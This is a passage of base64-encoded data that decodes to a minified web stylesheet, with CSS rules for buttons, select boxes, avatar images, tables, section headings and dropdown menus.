RkaW5nLWJveDtjb2xvcjojMDAwfXNlbGVjdDpmb2N1cyBvcHRpb257YmFja2dyb3VuZC1jb2xvcjojZmZmfXNlbGVjdDpob3Zlcntib3JkZXItY29sb3I6cmdiYSgwLDAsMCwwLjYpfXNlbGVjdDphY3RpdmV7YmFja2dyb3VuZC1jb2xvcjojZmZmfXNlbGVjdFttdWx0aXBsZV06Zm9jdXN7YmFja2dyb3VuZC1jb2xvcjojZmZmfXNlbGVjdFtkaXNhYmxlZF0sc2VsZWN0LmRpc2FibGVkLGZpZWxkc2V0W2Rpc2FibGVkXSBzZWxlY3R7Y3Vyc29yOm5vdC1hbGxvd2VkO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjIpICFpbXBvcnRhbnQ7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsMC4yKSAhaW1wb3J0YW50O2NvbG9yOnJnYmEoMCwwLDAsMC42KSAhaW1wb3J0YW50fXNlbGVjdFtkaXNhYmxlZF0gb3B0aW9uOmhvdmVyLHNlbGVjdFtkaXNhYmxlZF0gb3B0aW9uOmZvY3VzLHNlbGVjdFtkaXNhYmxlZF0gb3B0aW9uOmFjdGl2ZSxzZWxlY3QuZGlzYWJsZWQgb3B0aW9uOmhvdmVyLHNlbGVjdC5kaXNhYmxlZCBvcHRpb246Zm9jdXMsc2VsZWN0LmRpc2FibGVkIG9wdGlvbjphY3RpdmUsZmllbGRzZXRbZGlzYWJsZWRdIHNlbGVjdCBvcHRpb246aG92ZXIsZmllbGRzZXRbZGlzYWJsZWRdIHNlbGVjdCBvcHRpb246Zm9jdXMsZmllbGRzZXRbZGlzYWJsZWRdIHNlbGVjdCBvcHRpb246YWN0aXZle2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQgIWltcG9ydGFudH06Oi1tcy1leHBhbmR7bWFyZ2luOjAgNnB4IDAgMjBweDtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlcjowfS5idG4tYmxvY2t7ZGlzcGxheTpibG9jazt3aWR0aDoxMDAlfS5idG4tYmxvY2sgLmJ0bi1ibG9ja3ttYXJnaW4tdG9wOjVweH1pbnB1dFt0eXBlPSJzdWJtaXQiXS5idG4tYmxvY2ssaW5wdXRbdHlwZT0icmVzZXQiXS5idG4tYmxvY2ssaW5wdXRbdHlwZT0iYnV0dG9uIl0uYnRuLWJsb2Nre3dpZHRoOjEwMCV9LmJ0bixidXR0b24saW5wdXRbdHlwZT0iYnV0dG9uIl0saW5wdXRbdHlwZT0ic3VibWl0Il0saW5wdXRbdHlwZT0icmVzZXQiXXtkaXNwbGF5OmlubGluZS1ibG9jazttaW4td2lkdGg6MTAwcHg7cGFkZGluZzo0cHggMTJweCA0cHggMTJweDttYXJnaW4tdG9wOjRweDttYXJnaW4tYm90dG9tOjRweDtwb3NpdGlvbjpyZWxhdGl2ZTttYXgtd2lkdGg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3RvdWNoLWFjdGlvbjptYW5pcHVsYXRpb247Y29sb3I6IzAwMDtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjJweDtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMil9LmJ0bjpob3ZlciwuYnRuOmZvY3VzLGJ1dHRvbjpob3ZlcixidXR0b246Zm9jdXMsaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0iYnV0dG9uIl06Zm9jdXMsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06Zm9jdXMsaW5wdXRbdHlwZT0icmVzZXQiXTpob3ZlcixpbnB1dFt0eXBlPSJyZXNldCJdOmZvY3Vze2JvcmRlci1jb2xvcjpyZ2JhKDAsMCwwLDAuNCl9LmJ0bjpob3ZlcixidXR0b246aG92ZXIsaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIsaW5wdXRbdHlwZT0icmVzZXQiXTpob3ZlcntjdXJzb3I6cG9pbnRlcn0uYnRuOmFjdGl2ZSxidXR0b246YWN0aXZlLGlucHV0W3R5cGU9ImJ1dHRvbiJdOmFjdGl2ZSxpbnB1dFt0eXBlPSJzdWJtaXQiXTphY3RpdmUsaW5wdXRbdHlwZT0icmVzZXQiXTphY3RpdmV7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuNCk7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50fS5idG4uYnRuLXByaW1hcnksYnV0dG9uLmJ0bi1wcmltYXJ5LGlucHV0W3R5cGU9ImJ1dHRvbiJdLmJ0bi1wcmltYXJ5LGlucHV0W3R5cGU9InN1Ym1pdCJdLmJ0bi1wcmltYXJ5LGlucHV0W3R5cGU9InJlc2V0Il0uYnRuLXByaW1hcnl7YmFja2dyb3VuZC1jb2xvcjojMDA2N2I4O2JvcmRlci1jb2xvcjojMDA2N2I4O2NvbG9yOiNmZmZ9LmJ0bi5idG4tcHJpbWFyeTpob3ZlciwuYnRuLmJ0bi1wcmltYXJ5OmZvY3VzLGJ1dHRvbi5idG4tcHJpbWFyeTpob3ZlcixidXR0b24uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0iYnV0dG9uIl0uYnRuLXByaW1hcnk6aG92ZXIsaW5wdXRbdHlwZT0iYnV0dG9uIl0uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0ic3VibWl0Il0uYnRuLXByaW1hcnk6aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il0uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0icmVzZXQiXS5idG4tcHJpbWFyeTpob3ZlcixpbnB1dFt0eXBlPSJyZXNldCJdLmJ0bi1wcmltYXJ5OmZvY3Vze2JvcmRlci1jb2xvcjojMDA0ZThjfS5idG4uYnRuLXByaW1hcnk6YWN0aXZlLGJ1dHRvbi5idG4tcHJpbWFyeTphY3RpdmUsaW5wdXRbdHlwZT0iYnV0dG9uIl0uYnRuLXByaW1hcnk6YWN0aXZlLGlucHV0W3R5cGU9InN1Ym1pdCJdLmJ0bi1wcmltYXJ5OmFjdGl2ZSxpbnB1dFt0eXBlPSJyZXNldCJdLmJ0bi1wcmltYXJ5OmFjdGl2ZXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC40KTtib3JkZXItY29sb3I6dHJhbnNwYXJlbnR9LmJ0bi5kaXNhYmxlZCwuYnRuW2Rpc2FibGVkXSxmaWVsZHNldFtkaXNhYmxlZF0gLmJ0bixidXR0b24uZGlzYWJsZWQsYnV0dG9uW2Rpc2FibGVkXSxmaWVsZHNldFtkaXNhYmxlZF0gYnV0dG9uLGlucHV0W3R5cGU9ImJ1dHRvbiJdLmRpc2FibGVkLGlucHV0W3R5cGU9ImJ1dHRvbiJdW2Rpc2FibGVkXSxmaWVsZHNldFtkaXNhYmxlZF0gaW5wdXRbdHlwZT0iYnV0dG9uIl0saW5wdXRbdHlwZT0ic3VibWl0Il0uZGlzYWJsZWQsaW5wdXRbdHlwZT0ic3VibWl0Il1bZGlzYWJsZWRdLGZpZWxkc2V0W2Rpc2FibGVkXSBpbnB1dFt0eXBlPSJzdWJtaXQiXSxpbnB1dFt0eXBlPSJyZXNldCJdLmRpc2FibGVkLGlucHV0W3R5cGU9InJlc2V0Il1bZGlzYWJsZWRdLGZpZWxkc2V0W2Rpc2FibGVkXSBpbnB1dFt0eXBlPSJyZXNldCJde2N1cnNvcjpub3QtYWxsb3dlZDtwb2ludGVyLWV2ZW50czpub25lO291dGxpbmU6bm9uZTtjb2xvcjpyZ2JhKDAsMCwwLDAuMikgIWltcG9ydGFudDtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQgIWltcG9ydGFudDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4yKSAhaW1wb3J0YW50fWEuYnRuOmxpbmssYS5idG46dmlzaXRlZHtjb2xvcjojMDAwfWEuYnRuLmJ0bi1wcmltYXJ5OmxpbmssYS5idG4uYnRuLXByaW1hcnk6dmlzaXRlZHtjb2xvcjojZmZmfS5wZXJzb257Ym9yZGVyLXJhZGl1czo1MCU7ZGlzcGxheTpibG9jaztwYWRkaW5nOjRweDtib3JkZXI6MXB4IGRvdHRlZCB0cmFuc3BhcmVudH0ucGVyc29uIC5wZXJzb24tZ3JhcGhpY3tkaXNwbGF5OmJsb2NrO2JhY2tncm91bmQtc2l6ZTpjb3ZlcjtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciBjZW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JvcmRlci1yYWRpdXM6NTAlfS5wZXJzb24ucGVyc29uLXNtYWxse3dpZHRoOjU0cHg7aGVpZ2h0OjU0cHh9LnBlcnNvbi5wZXJzb24tc21hbGwgLnBlcnNvbi1ncmFwaGlje3dpZHRoOjQ0cHg7aGVpZ2h0OjQ0cHh9LnBlcnNvbi5wZXJzb24tbWVkaXVte3dpZHRoOjExMHB4O2hlaWdodDoxMTBweH0ucGVyc29uLnBlcnNvbi1tZWRpdW0gLnBlcnNvbi1ncmFwaGlje3dpZHRoOjEwMHB4O2hlaWdodDoxMDBweH0ucGVyc29uLnBlcnNvbi1sYXJnZXt3aWR0aDoyMTBweDtoZWlnaHQ6MjEwcHh9LnBlcnNvbi5wZXJzb24tbGFyZ2UgLnBlcnNvbi1ncmFwaGlje3dpZHRoOjIwMHB4O2hlaWdodDoyMDBweH0ucGVyc29uOmZvY3Vze291dGxpbmUtc3R5bGU6bm9uZTtib3JkZXItY29sb3I6IzAwMH10YWJsZXtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fXRoe3RleHQtYWxpZ246bGVmdH0udGFibGV7d2lkdGg6MTAwJTttYXgtd2lkdGg6MTAwJX0udGFibGU+dGhlYWQ+dHI+dGgsLnRhYmxlPnRoZWFkPnRyPnRkLC50YWJsZT50Ym9keT50cj50aCwudGFibGU+dGJvZHk+dHI+dGQsLnRhYmxlPnRmb290PnRyPnRoLC50YWJsZT50Zm9vdD50cj50ZHtwYWRkaW5nOjE2cHg7dmVydGljYWwtYWxpZ246dG9wfS50YWJsZT50aGVhZD50cj50aHt2ZXJ0aWNhbC1hbGlnbjpib3R0b219LnRhYmxlPmNhcHRpb24gdGhlYWQ+dHI6Zmlyc3QtY2hpbGQ+dGgsLnRhYmxlPmNhcHRpb24gdGhlYWQ+dHI6Zmlyc3QtY2hpbGQ+dGQsLnRhYmxlPmNvbGdyb3VwIHRoZWFkPnRyOmZpcnN0LWNoaWxkPnRoLC50YWJsZT5jb2xncm91cCB0aGVhZD50cjpmaXJzdC1jaGlsZD50ZCwudGFibGU+dGhlYWQ6Zmlyc3QtY2hpbGQ+dHI6Zmlyc3QtY2hpbGQ+dGgsLnRhYmxlPnRoZWFkOmZpcnN0LWNoaWxkPnRyOmZpcnN0LWNoaWxkPnRke2JvcmRlci10b3A6MH10YWJsZSBjb2xbY2xhc3MqPSJjb2wtIl17cG9zaXRpb246c3RhdGljO2Zsb2F0Om5vbmU7ZGlzcGxheTp0YWJsZS1jb2x1bW59dGFibGUgdGRbY2xhc3MqPSJjb2wtIl0sdGFibGUgdGhbY2xhc3MqPSJjb2wtIl17cG9zaXRpb246c3RhdGljO2Zsb2F0Om5vbmU7ZGlzcGxheTp0YWJsZS1jZWxsfS50YWJsZS1yZXNwb25zaXZle292ZXJmbG93LXg6YXV0bzttaW4taGVpZ2h0Oi4wMSV9QG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo1MzlweCl7LnRhYmxlLXJlc3BvbnNpdmV7d2lkdGg6MTAwJTttYXJnaW4tYm90dG9tOjE1cHg7b3ZlcmZsb3cteTpoaWRkZW47LW1zLW92ZXJmbG93LXN0eWxlOi1tcy1hdXRvaGlkaW5nLXNjcm9sbGJhcn0udGFibGUtcmVzcG9uc2l2ZT4udGFibGV7bWFyZ2luLWJvdHRvbTowfS50YWJsZS1yZXNwb25zaXZlPi50YWJsZT50aGVhZD50cj50aCwudGFibGUtcmVzcG9uc2l2ZT4udGFibGU+dGhlYWQ+dHI+dGQsLnRhYmxlLXJlc3BvbnNpdmU+LnRhYmxlPnRib2R5PnRyPnRoLC50YWJsZS1yZXNwb25zaXZlPi50YWJsZT50Ym9keT50cj50ZCwudGFibGUtcmVzcG9uc2l2ZT4udGFibGU+dGZvb3Q+dHI+dGgsLnRhYmxlLXJlc3BvbnNpdmU+LnRhYmxlPnRmb290PnRyPnRke3doaXRlLXNwYWNlOm5vd3JhcH19LnRhYmxlPnRoZWFkPnRyPnRoe2ZvbnQtc2l6ZToxMnB4O2xpbmUtaGVpZ2h0OjE0cHg7Zm9udC13ZWlnaHQ6NDAwO2ZvbnQtc2l6ZTouNzVyZW07bGluZS1oZWlnaHQ6Ljg3NXJlbTtwYWRkaW5nLWJvdHRvbToxLjE4MTZweDtwYWRkaW5nLXRvcDoxLjE4MTZweDtwYWRkaW5nOjAgMTZweCAxMHB4IDE2cHh9LnRhYmxlPnRoZWFkPnRyPnRoLnRleHQtbWF4bGluZXMtMXt3aGl0ZS1zcGFjZTpub3dyYXA7dGV4dC1vdmVyZmxvdzplbGxpcHNpczttYXgtaGVpZ2h0OjE2LjM2MzJweDttYXgtaGVpZ2h0OjEuMDIyN3JlbX0udGFibGU+dGhlYWQ+dHI+dGgudGV4dC1tYXhsaW5lcy0ye21heC1oZWlnaHQ6MzAuMzYzMnB4O21heC1oZWlnaHQ6MS44OTc3cmVtfS50YWJsZT50aGVhZD50cj50aC50ZXh0LW1heGxpbmVzLTN7bWF4LWhlaWdodDo0NC4zNjMycHg7bWF4LWhlaWdodDoyLjc3MjdyZW19LnRhYmxlPnRoZWFkPnRyPnRoLnRleHQtbWF4bGluZXMtNHttYXgtaGVpZ2h0OjU4LjM2MzJweDttYXgtaGVpZ2h0OjMuNjQ3N3JlbX0udGFibGU+dGJvZHk+dHI6bnRoLWNoaWxkKG9kZCl7YmFja2dyb3VuZC1jb2xvcjojZjJmMmYyfS5zZWN0aW9ue21hcmdpbi10b3A6MzBweDttYXJnaW4tYm90dG9tOjMwcHh9QG1lZGlhIChtaW4td2lkdGg6MzIwcHgpey5zZWN0aW9ue21hcmdpbi10b3A6NDJweDttYXJnaW4tYm90dG9tOjQycHh9fS5zZWN0aW9uIC5zZWN0aW9uLWhlYWRlcntwYWRkaW5nLWJvdHRvbToxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNlNmU2ZTY7bWFyZ2luLWJvdHRvbToxNnB4fUBtZWRpYSAobWluLXdpZHRoOjMyMHB4KXsuc2VjdGlvbiAuc2VjdGlvbi1oZWFkZXJ7bWFyZ2luLWJvdHRvbTozMnB4fX0uc2VjdGlvbiAuc2VjdGlvbi10aXRsZXtkaXNwbGF5OmJsb2NrO21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjA7Zm9udC1zaXplOjE1cHg7bGluZS1oZWlnaHQ6MjBweDtmb250LXdlaWdodDo2MDA7Zm9udC1zaXplOi45Mzc1cmVtO2xpbmUtaGVpZ2h0OjEuMjVyZW07cGFkZGluZy1ib3R0b206LjIyN3B4O3BhZGRpbmctdG9wOi4yMjdweDtjb2xvcjojMDAwfS5zZWN0aW9uIC5zZWN0aW9uLXRpdGxlLnRleHQtbWF4bGluZXMtMXt3aGl0ZS1zcGFjZTpub3dyYXA7dGV4dC1vdmVyZmxvdzplbGxpcHNpczttYXgtaGVpZ2h0OjIwLjQ1NHB4O21heC1oZWlnaHQ6MS4yNzgzOHJlbX0uc2VjdGlvbiAuc2VjdGlvbi10aXRsZS50ZXh0LW1heGxpbmVzLTJ7bWF4LWhlaWdodDo0MC40NTRweDttYXgtaGVpZ2h0OjIuNTI4MzhyZW19LnNlY3Rpb24gLnNlY3Rpb24tdGl0bGUudGV4dC1tYXhsaW5lcy0ze21heC1oZWlnaHQ6NjAuNDU0cHg7bWF4LWhlaWdodDozLjc3ODM4cmVtfS5zZWN0aW9uIC5zZWN0aW9uLXRpdGxlLnRleHQtbWF4bGluZXMtNHttYXgtaGVpZ2h0OjgwLjQ1NHB4O21heC1oZWlnaHQ6NS4wMjgzOHJlbX1AbWVkaWEgKG1pbi13aWR0aDozMjBweCl7LnNlY3Rpb24gLnNlY3Rpb24tdGl0bGV7Zm9udC1zaXplOjI0cHg7bGluZS1oZWlnaHQ6MjhweDtmb250LXdlaWdodDozMDA7Zm9udC1zaXplOjEuNXJlbTtsaW5lLWhlaWdodDoxLjc1cmVtO3BhZGRpbmctYm90dG9tOjIuMzYzMnB4O3BhZGRpbmctdG9wOjIuMzYzMnB4fS5zZWN0aW9uIC5zZWN0aW9uLXRpdGxlLnRleHQtbWF4bGluZXMtMXt3aGl0ZS1zcGFjZTpub3dyYXA7dGV4dC1vdmVyZmxvdzplbGxpcHNpczttYXgtaGVpZ2h0OjMyLjcyNjRweDttYXgtaGVpZ2h0OjIuMDQ1NHJlbX0uc2VjdGlvbiAuc2VjdGlvbi10aXRsZS50ZXh0LW1heGxpbmVzLTJ7bWF4LWhlaWdodDo2MC43MjY0cHg7bWF4LWhlaWdodDozLjc5NTRyZW19LnNlY3Rpb24gLnNlY3Rpb24tdGl0bGUudGV4dC1tYXhsaW5lcy0ze21heC1oZWlnaHQ6ODguNzI2NHB4O21heC1oZWlnaHQ6NS41NDU0cmVtfS5zZWN0aW9uIC5zZWN0aW9uLXRpdGxlLnRleHQtbWF4bGluZXMtNHttYXgtaGVpZ2h0OjExNi43MjY0cHg7bWF4LWhlaWdodDo3LjI5NTRyZW19fS5zZWN0aW9uIC5zZWN0aW9uLXN1YnRpdGxle2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjE1cHg7bGluZS1oZWlnaHQ6MjBweDtmb250LXdlaWdodDo0MDA7Zm9udC1zaXplOi45Mzc1cmVtO2xpbmUtaGVpZ2h0OjEuMjVyZW07cGFkZGluZy1ib3R0b206LjIyN3B4O3BhZGRpbmctdG9wOi4yMjdweDtjb2xvcjojNzY3Njc2fS5zZWN0aW9uIC5zZWN0aW9uLXN1YnRpdGxlLnRleHQtbWF4bGluZXMtMXt3aGl0ZS1zcGFjZTpub3dyYXA7dGV4dC1vdmVyZmxvdzplbGxpcHNpczttYXgtaGVpZ2h0OjIwLjQ1NHB4O21heC1oZWlnaHQ6MS4yNzgzOHJlbX0uc2VjdGlvbiAuc2VjdGlvbi1zdWJ0aXRsZS50ZXh0LW1heGxpbmVzLTJ7bWF4LWhlaWdodDo0MC40NTRweDttYXgtaGVpZ2h0OjIuNTI4MzhyZW19LnNlY3Rpb24gLnNlY3Rpb24tc3VidGl0bGUudGV4dC1tYXhsaW5lcy0ze21heC1oZWlnaHQ6NjAuNDU0cHg7bWF4LWhlaWdodDozLjc3ODM4cmVtfS5zZWN0aW9uIC5zZWN0aW9uLXN1YnRpdGxlLnRleHQtbWF4bGluZXMtNHttYXgtaGVpZ2h0OjgwLjQ1NHB4O21heC1oZWlnaHQ6NS4wMjgzOHJlbX0uc2VjdGlvbiAuaGVhZGVyLWFjdGlvbntkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246Ym90dG9tO3doaXRlLXNwYWNlOm5vd3JhcDtmb250LXNpemU6MTJweDtsaW5lLWhlaWdodDoxNHB4O2ZvbnQtd2VpZ2h0OjQwMDtmb250LXNpemU6Ljc1cmVtO2xpbmUtaGVpZ2h0Oi44NzVyZW07cGFkZGluZy1ib3R0b206MS4xODE2cHg7cGFkZGluZy10b3A6MS4xODE2cHh9LnNlY3Rpb24gLmhlYWRlci1hY3Rpb24udGV4dC1tYXhsaW5lcy0xe3doaXRlLXNwYWNlOm5vd3JhcDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO21heC1oZWlnaHQ6MTYuMzYzMnB4O21heC1oZWlnaHQ6MS4wMjI3cmVtfS5zZWN0aW9uIC5oZWFkZXItYWN0aW9uLnRleHQtbWF4bGluZXMtMnttYXgtaGVpZ2h0OjMwLjM2MzJweDttYXgtaGVpZ2h0OjEuODk3N3JlbX0uc2VjdGlvbiAuaGVhZGVyLWFjdGlvbi50ZXh0LW1heGxpbmVzLTN7bWF4LWhlaWdodDo0NC4zNjMycHg7bWF4LWhlaWdodDoyLjc3MjdyZW19LnNlY3Rpb24gLmhlYWRlci1hY3Rpb24udGV4dC1tYXhsaW5lcy00e21heC1oZWlnaHQ6NTguMzYzMnB4O21heC1oZWlnaHQ6My42NDc3cmVtfS5zZWN0aW9uIHB7bWFyZ2luLXRvcDoxMnB4O21hcmdpbi1ib3R0b206MTJweH0uc2VjdGlvbiBwIC5tb3JlLWNvbnRhaW5lcntkaXNwbGF5OmJsb2NrO21hcmdpbi10b3A6NnB4fS5zZWN0aW9uIC5idG4tZ3JvdXB7bWFyZ2luLXRvcDoyMHB4O21hcmdpbi1ib3R0b206MjBweH0uc2VjdGlvbi5yZW1vdmUtaGVhZGVyLXJ1bGU+LnNlY3Rpb24taGVhZGVye2JvcmRlci1zdHlsZTpub25lfS5zZWN0aW9uLmhhcy1oZWFkZXItYWN0aW9uIC5oZWFkZXItdGl0bGVze2Rpc3BsYXk6dGFibGUtY2VsbH0uc2VjdGlvbi5oYXMtaGVhZGVyLWFjdGlvbiAudGl0bGVzLW91dGVye2Rpc3BsYXk6dGFibGU7dGFibGUtbGF5b3V0OmZpeGVkO3dpZHRoOjEwMCV9LnNlY3Rpb24uaGFzLWhlYWRlci1hY3Rpb24gLnRpdGxlcy1pbm5lcntkaXNwbGF5OnRhYmxlLWNlbGw7cGFkZGluZy1yaWdodDoxMHB4fS5zZWN0aW9uLml0ZW0tc2VjdGlvbnttYXJnaW4tYm90dG9tOjMycHh9LnNlY3Rpb24uaXRlbS1zZWN0aW9uIC5zZWN0aW9uLWhlYWRlcnttYXJnaW4tYm90dG9tOjE2cHg7Ym9yZGVyLXN0eWxlOm5vbmU7cGFkZGluZy1ib3R0b206MH0uc2VjdGlvbi5pdGVtLXNlY3Rpb24gLnNlY3Rpb24tdGl0bGV7Y29sb3I6IzAwMDtmb250LXNpemU6MTVweDtsaW5lLWhlaWdodDoyMHB4O2ZvbnQtd2VpZ2h0OjYwMDtmb250LXNpemU6LjkzNzVyZW07bGluZS1oZWlnaHQ6MS4yNXJlbTtwYWRkaW5nLWJvdHRvbTouMjI3cHg7cGFkZGluZy10b3A6LjIyN3B4fS5zZWN0aW9uLml0ZW0tc2VjdGlvbiAuc2VjdGlvbi10aXRsZS50ZXh0LW1heGxpbmVzLTF7d2hpdGUtc3BhY2U6bm93cmFwO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7bWF4LWhlaWdodDoyMC40NTRweDttYXgtaGVpZ2h0OjEuMjc4MzhyZW19LnNlY3Rpb24uaXRlbS1zZWN0aW9uIC5zZWN0aW9uLXRpdGxlLnRleHQtbWF4bGluZXMtMnttYXgtaGVpZ2h0OjQwLjQ1NHB4O21heC1oZWlnaHQ6Mi41MjgzOHJlbX0uc2VjdGlvbi5pdGVtLXNlY3Rpb24gLnNlY3Rpb24tdGl0bGUudGV4dC1tYXhsaW5lcy0ze21heC1oZWlnaHQ6NjAuNDU0cHg7bWF4LWhlaWdodDozLjc3ODM4cmVtfS5zZWN0aW9uLml0ZW0tc2VjdGlvbiAuc2VjdGlvbi10aXRsZS50ZXh0LW1heGxpbmVzLTR7bWF4LWhlaWdodDo4MC40NTRweDttYXgtaGVpZ2h0OjUuMDI4MzhyZW19LmNhcmV0e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjA7aGVpZ2h0OjA7bWFyZ2luLWxlZnQ6MnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtib3JkZXItdG9wOjRweCBzb2xpZDtib3JkZXItcmlnaHQ6NHB4IHNvbGlkIHRyYW5zcGFyZW50O2JvcmRlci1sZWZ0OjRweCBzb2xpZCB0cmFuc3BhcmVudH0uZHJvcGRvd257cG9zaXRpb246cmVsYXRpdmV9LmRyb3Bkb3duLXRvZ2dsZTpmb2N1c3tvdXRsaW5lOjB9LmRyb3Bkb3duLW1lbnV7cG9zaXRpb246YWJzb2x1dGU7dG9wOjEwMCU7bGVmdDowO3otaW5kZXg6MTAwMDtkaXNwbGF5Om5vbmU7ZmxvYXQ6bGVmdDttaW4td2lkdGg6MTYwcHg7cGFkZGluZzo1cHggMDttYXJnaW46MnB4IDAgMDtsaXN0LXN0eWxlOm5vbmU7Zm9udC1zaXplOjE0cHg7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNjY2M7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDAsMCwwLDAuMTUpO2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzowIDZweCAxMnB4IHJnYmEoMCwwLDAsMC4xNzUpO2JveC1zaGFkb3c6MCA2cHggMTJweCByZ2JhKDAsMCwwLDAuMTc1KTtiYWNrZ3JvdW5kLWNsaXA6cGFkZGluZy1ib3h9LmRyb3Bkb3duLW1lbnUucHVsbC1yaWdodHtyaWdodDowO2xlZnQ6YXV0b30uZHJvcGRvd24tbWVudSAuZGl2aWRlcntoZWlnaHQ6MXB4O21hcmdpbjo5cHggMDtvdmVyZmxvdzpoaWRkZW47YmFja2dyb3VuZC1jb2xvcjojZTVlNWU1fS5kcm9wZG93bi1tZW51PmxpPmF7ZGlzcGxheTpibG9jaztwYWRkaW5nOjNweCAyMHB4O2NsZWFyOmJvdGg7Zm9udC13ZWlnaHQ6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuNDI4NTc7Y29sb3I6IzMzMzt3aGl0ZS1zcGFjZTpub3dyYXB9LmRyb3Bkb3duLW1lbnU+bGk+YTpob3ZlciwuZHJvcGRvd24tbWVudT5saT5hOmZvY3Vze3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOiMyNjI2MjY7YmFja2dyb3VuZC1jb2xvcjojZjVmNWY1fS5kcm9wZG93bi1tZW51Pi5hY3RpdmU+YSwuZHJvcGRvd24tbWVudT4uYWN0aXZlPmE6aG92ZXIsLmRyb3Bkb3duLW1lbnU+LmFjdGl2ZT5hOmZvY3Vze2NvbG9yOiNmZmY7dGV4dC1kZWNvcmF0aW9uOm5vbmU7b3V0bGluZTowO2JhY2tncm91bmQtY29sb3I6IzQyOGJjYX0uZHJvcGRvd24tbWVudT4uZGlzYWJsZWQ+YSwuZHJvcGRvd24tbWVudT4uZGlzYWJsZWQ+YTpob3ZlciwuZHJvcGRvd24tbWVudT4uZGlzYWJsZWQ+YTpmb2N1c3tjb2xvcjojNzc3fS5kcm9wZG93bi1tZW51Pi5kaXNhYmxlZD5hOmhvdmVyLC5kcm9wZG93bi1tZW51Pi5kaXNhYmxlZD5hOmZvY3Vze3RleHQtZGVjb3JhdGlvbjpub25lO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7YmFja2dyb3VuZC1pbWFnZTpub25lO2ZpbHRlcjpwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoZW5hYmxlZD1mYWxzZSk7Y3Vyc29yOm5vdC1hbGxvd2VkfS5vcGVuPi5kcm9wZG93bi1tZW51e2Rpc3BsYXk6YmxvY2t9Lm9wZW4+YXtvdXRsaW5lOjB9LmRyb3Bkb3duLW1lbnUtcmlnaHR7bGVmdDphdXRvO3JpZ2h0OjB9LmRyb3Bkb3duLW1lbnUtbGVmdHtsZWZ0OjA7cmlnaHQ6YXV0b30uZHJvcGRvd24taGVhZGVye2Rpc3BsYXk6YmxvY2s7cGFkZGluZzozcHggMjBweDtmb250LXNpemU6MTJweDtsaW5lLWhlaWdodDoxLjQyODU3O2NvbG9yOiM3Nzc7d2hpdGUtc3BhY2U6bm93cmFwfS5kcm9wZG93bi1iYWNrZHJvcHtwb3NpdGlvbjpmaXhlZDtsZWZ0OjA7cmlnaHQ6MDtib3R0b206MDt0b3A6MDt6LWluZGV4Ojk5MH0ucHVsbC1yaWdodD4uZHJvcGRvd24tbWVudXtyaWdodDowO2xlZnQ6YXV0b30uZHJvcHVwIC5jYXJldCwubmF2YmFyLWZpeGVkLWJvdHRvbSAuZHJvcGRvd24gLmNhcmV0e2JvcmRlci10b3A6MDtib3JkZXItYm90dG9tOjRweCBzb2xpZDtjb250ZW50OiIifS5kcm9wdXAgLmRyb3Bkb3duLW1lbnUsLm5hdmJhci1maXhlZC1ib3R0b20gLmRyb3Bkb3duIC5kcm9wZG93bi1tZW51e3RvcDphdXRvO2JvdHRvbToxMDAlO21hcmdpbi1ib3R0b206MXB4fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KXsubmF2YmFyLXJpZ2h0IC5kcm9wZG93bi1tZW51e3JpZ2h0OjA7bGVmdDphdXRvfS5uYXZiYXItcmlnaHQgLmRyb3Bkb3duLW1lbnUtbGVmdHtsZWZ0OjA7cmlnaHQ6YXV0b319W2RhdGEtdG9nZ2xlPSJidXR0b25zIl0+LmJ0biBpbnB1dFt0eXBlPSJyYWRpbyJdLFtkYXRhLXRvZ2dsZT0iYnV0dG9ucyJdPi5idG4gaW5wdXRbdHlwZT0iY2